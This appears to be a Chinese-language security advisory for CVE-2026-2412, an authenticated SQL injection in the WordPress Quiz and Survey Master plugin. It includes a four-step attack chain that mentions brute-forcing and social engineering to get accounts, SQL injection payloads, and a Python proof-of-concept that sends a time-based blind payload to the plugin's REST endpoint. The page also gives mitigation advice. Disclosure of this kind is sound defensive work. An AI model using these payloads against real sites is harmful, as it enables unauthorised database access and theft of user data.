IPBUF安全漏洞报告
English
CVE-2026-2412 CVSS 6.5 中危

CVE-2026-2412: WordPress QSM插件SQL注入漏洞

披露日期: 2026-03-23

漏洞信息

漏洞编号
CVE-2026-2412
漏洞类型
SQL注入
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
WordPress Quiz and Survey Master (QSM) Plugin

相关标签

SQL注入WordPressCVE-2026-2412Quiz and Survey Master插件漏洞认证后漏洞

漏洞概述

WordPress Quiz and Survey Master (QSM) 插件在 10.3.5 及之前版本中存在 SQL 注入漏洞。由于对 'merged_question' 参数的清理不充分,导致未正确过滤 SQL 元字符。攻击者仅需 Contributor 级别权限即可利用该漏洞拼接恶意 SQL 语句,进而从数据库中提取敏感信息,造成数据泄露风险。

技术细节

该漏洞源于 QSM 插件在处理 'merged_question' 参数时未采用安全的数据库查询方式。尽管使用了 sanitize_text_field() 函数,但该函数无法有效拦截 SQL 元字符(如 ')', 'OR', 'AND', '#' 等)。插件直接将用户输入拼接到 SQL IN() 子句中,未使用 $wpdb->prepare() 进行预编译或强制类型转换。这使得经过身份验证的攻击者(权限为 Contributor 及以上)可以通过闭合原有查询结构并注入额外的 SQL 命令,利用基于布尔或时间的盲注技术,或者联合查询(UNION SELECT),从后端数据库中提取敏感数据,如用户凭证哈希或配置信息。

攻击链分析

STEP 1
侦察
攻击者识别目标网站是否安装了 Quiz and Survey Master (QSM) 插件,并确认其版本是否在 10.3.5 及以下。
STEP 2
获取权限
攻击者通过注册、弱口令爆破或社会工程学手段获取一个具有 Contributor(投稿者)或更高权限的 WordPress 账户凭证。
STEP 3
漏洞利用
攻击者使用获取的凭证登录后台或通过 REST API 发送请求,向 'merged_question' 参数注入包含 SQL 元字符(如 ') OR 1=1-- -')的恶意载荷。
STEP 4
数据窃取
服务器执行恶意 SQL 语句,攻击者根据响应时间或错误信息提取数据库中的敏感数据(如管理员哈希、用户信息等)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # PoC for CVE-2026-2412: Authenticated SQL Injection in QSM Plugin import requests import sys def exploit(url, username, password): session = requests.Session() # 1. Login as Contributor (Low privilege user) login_url = f"{url}/wp-login.php" login_data = { "log": username, "pwd": password, "redirect_to": f"{url}/wp-admin/", "testcookie": "1" } print(f"[*] Logging in as {username}...") session.post(login_url, data=login_data) # Check if login successful if 'wp-admin' not in session.cookies.get_dict(): print("[-] Login failed.") return # 2. Send Payload to vulnerable endpoint # The vulnerability is in the 'merged_question' parameter # Payload: 1) OR SLEEP(5)# to test for time-based blind injection target_endpoint = f"{url}/wp-json/qsm/v1/questions/merge" # Endpoint might vary based on plugin version payload = "1) OR SLEEP(5)#" headers = { "Content-Type": "application/json", "X-WP-Nonce": "" # Nonce might be required depending on REST API config } # Fetch nonce if necessary (omitted for brevity, assuming REST API is accessible) data = { "merged_question": payload } print(f"[*] Sending payload to {target_endpoint}") try: response = session.post(target_endpoint, json=data, headers=headers, timeout=10) if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability confirmed! Response delayed by 5 seconds.") else: print("[-] Vulnerability not triggered or patched.") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": if len(sys.argv) != 4: print(f"Usage: python {sys.argv[0]} <url> <username> <password>") sys.exit(1) exploit(sys.argv[1], sys.argv[2], sys.argv[3])

影响范围

Quiz and Survey Master (QSM) <= 10.3.5

防御指南

临时缓解措施
建议立即更新插件至修复版本。如果无法立即更新,应暂时禁用该插件以阻断攻击路径。此外,应严格审查并清理拥有 Contributor 及以上权限的用户账户,确保只有必要人员拥有此类权限,并加强对数据库输入参数的过滤监控。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表